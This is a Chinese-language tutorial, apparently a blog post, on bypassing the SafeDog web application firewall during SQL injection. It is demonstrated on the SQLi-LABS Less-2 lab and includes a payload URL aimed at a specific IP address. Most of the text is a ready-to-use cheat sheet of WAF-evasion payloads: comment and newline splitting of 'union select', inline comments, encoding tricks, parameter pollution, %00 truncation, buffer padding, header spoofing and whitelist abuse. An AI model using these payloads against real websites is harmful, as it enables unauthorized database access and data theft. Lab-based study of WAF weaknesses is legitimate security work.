web安全-SQL注入-认识安全狗-WAF绕过常用方法以及示例

一、安全狗

1.主页

2.设置

一般许多人在安装了安全狗以后，都会保持它的默认设置。

可以看到有的保护处于关闭状态，因为虽然将防护设置全部打开会使网站更加安全，但是这也会导致有些正常的访问会产生误报而被拦截。

3.注入测试

<SQLi-LABS-Less2>

采用正常的方法进行注入，可以看得被安全狗给拦截了，此时使用的提交方式是GET。

换一种提交方式进行提交，采用POST请求进行注入，可以看到网页访问进去了，但是网页的内容并不正常。

原因是网站的源代码会决定接收方式，比如有的代码只接收GET请求，有的代码可以全部接收。

分析源代码可以看到，此关只接收GET提交方式的请求，因此采用POST提交的注入内容网站并没有接收。

接下来将网站原码内的接收方式改为REQUEST。

再次尝试进行注入，可以看到网站成功接收了。

尝试继续进行注入。

安全狗再次对注入内容进行了拦截。

在安全狗内可以看到拦截的对应选项。

将对POST内容的拦截选项给删除掉并重启服务器。

可以看到此时的注入便可以正常得到回显。

---

下面将安全狗设置给还原再次进行操作（原码的依然保持修改为REQUEST）。

首先尝试将注入的内容进行省略书写，可以看到安全狗不进行拦截了，但是得不到想要的回显数据。

由此可以判断出安全狗拦截的是“数据”，因此可以考虑以下的方法进行绕过。

当单独对“database”和单独对“()”进行注入时，安全狗均不进行拦截，仅对“database()”整体进拦截。

因此我们便可以想到一个思路：对“database()”进行拆分，但是不影响到它的运行。

这里采用“/**/”进行拆分，可以看到网页正常回显了数据库名称。

---

查看安全狗可以发现，其实上述的成功注入也是钻了安全狗的空子，因为安全狗对正常GET等的拦截比较多，对REQUEST的拦截并不多。

在此将原码改回GET接收方式。

再次注入可见此时就算没有查询数据库的注入也会被安全狗拦截，原因在“union select”关键字被拦截。

因为其触发了安全狗里的此项规则。

将注入语句写成如下样式即可成功注入。

http://39.96.44.170/sqlilabs/Less-2/?id=-1 union%23a%0Aselect 1,2,3%23

分析：
%23————————————>#
a——————————————>a
%0A————————————>换行

此时的sql语句样式：
union #a
select 1,2,3#

其中“#”在sql语句中是注释的意思，加入“#”是为了让安全狗在匹配的时候只匹配到“union”，
但是当安全狗匹配到“#”依然不停止继续匹配时，就会匹配到“a”，依然不会进行拦截，
同时“#”也将“a”给注释掉了，因此不会对sql语句的执行产生影响，
接下来是换行，到了下一行，是为了截至让安全狗继续匹配，
如果依然继续匹配，就会匹配到“select”，但是经过上一步的实验，可以发现单独的“select”也并不会触发安全狗的拦截。

---

---

---

二、WAF绕过

<应用层>

1.参数污染

当网页为此源代码时

在网址内输入以下内容后，网页会返回后者“3”，而不会将“12”返回。

2.大小写/关键字替换

• id=1 UnIoN/**/SeLeCT 1,user()

• Hex() bin() 等价于 ascii()

• Sleep() 等价于 benchmark()

• Mid()substring() 等价于 substr()

• @@user 等价于 User()

• @@Version 等价于 version()

3.各种编码

• 大小写，URL，hex，%0A 等

4.注释

• // -- --+ # /**/ + :%00 /!**/等

5.再次循环

• union==uunionnion

6.等价替换

• user()=@@user() and=& or=| ascii=hex 等参数污染

• ?id=1&id=2&id=3

7.编码解码及加密解密

• s->%73->%25%37%33

• hex,unlcode,base64 等

8.更改请求提交方式

• GET POST COOKIE 等

• POST->multipart/form-data

9.中间件 HPP 参数污染

<数据库特性>

1.Mysql 技巧

• mysql 注释符有三种：

#、/*...*/、-- ... (注意--后面有一个空格)

• 空格符:

[0x09,0x0a-0x0d,0x20,0xa0]

• 特殊符号：

%a 换行符

可结合注释符使用%23%0a，%2d%2d%0a。

• 内联注释：

/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540

• mysql 黑魔法

select{x username}from {x11 test.admin};

2.SQL Server 技巧

• 用来注释掉注射后查询的其余部分：

/* C 语言风格注释

-- SQL 注释

; 00％ 空字节

• 空白符：

[0x01-0x20]

• 特殊符号：

%3a 冒号

id=1 union:select 1,2 from:admin

• 函数变形：

如 db_name[空白字符]()

3.Oracle 技巧

• 注释符：

--、/**/

• 空白字符：

[0x00,0x09，0x0a-0x0d,0x20]

4.配合 FUZZ

select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin

<逻辑层>

1.逻辑问题

• 云 waf 防护，一般我们会尝试通过查找站点的真实 IP，从而绕过 CDN 防护。

• 当提交GET、POST同时请求时，进入POST逻辑，而忽略了GET请求的有害参数输入,可尝试Bypass。

• HTTP 和 HTTPS 同时开放服务，没有做 HTTP 到 HTTPS 的强制跳转，导致 HTTPS 有 WAF 防护，HTTP没有防护，直接访问 HTTP 站点绕过防护。

• 特殊符号%00，部分 waf 遇到%00 截断，只能获取到前面的参数，无法获取到后面的有害参数输 入 ， 从 而 导 致 Bypass 。 比 如 ： id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

2.性能问题

• 猜想 1：在设计 WAF 系统时，考虑自身性能问题，当数据量达到一定层级，不检测这部分数据。只要不断的填充数据，当数据达到一定数目之后，恶意代码就不会被检测了。

• 猜想 2：不少 WAF 是 C 语言写的，而 C 语言自身没有缓冲区保护机制，因此如果 WAF 在处理测试向量时超出了其缓冲区长度就会引发 bug，从而实现绕过。

例子1：
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
PS：0xA*1000 指 0xA 后面“A”重复 1000 次，一般来说对应用软件构成缓冲区溢出都需要较大的测试长度，这里 1000只做参考也许在有些情况下可能不需要这么长也能溢出。

例子2：
?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from INFORMATION_SCHEMA.schemata
备注：获取请求参数，只获取前 100 个参数，第 101 个参数并没有获取到，导致 SQL 注入绕过。

3.白名单

• 方式一：IP 白名单

从网络层获取的 ip，这种一般伪造不来，如果是获取客户端的 IP，这样就可能存在伪造 IP 绕过的情

况。

测试方法：修改 http 的 header 来 bypass waf
X-forwarded-for
X-remote-IP
X-originating-IP
X-remote-addr
X-Real-ip

• 方式二：静态资源

特定的静态资源后缀请求，常见的静态文件(.js .jpg .swf .css 等等)，类似白名单机制，waf 为了检测效率，不去检测这样一些静态文件名后缀的请求。

http://10.9.9.201/sql.php?id=1
http://10.9.9.201/sql.php/1.js?id=1
备注：Aspx/php 只识别到前面的.aspx/.php 后面基本不识别

• 方式三：url 白名单

为了防止误拦，部分 waf 内置默认的白名单列表，如 admin/manager/system 等管理后台。只要 url

中存在白名单的字符串，就作为白名单不进行检测。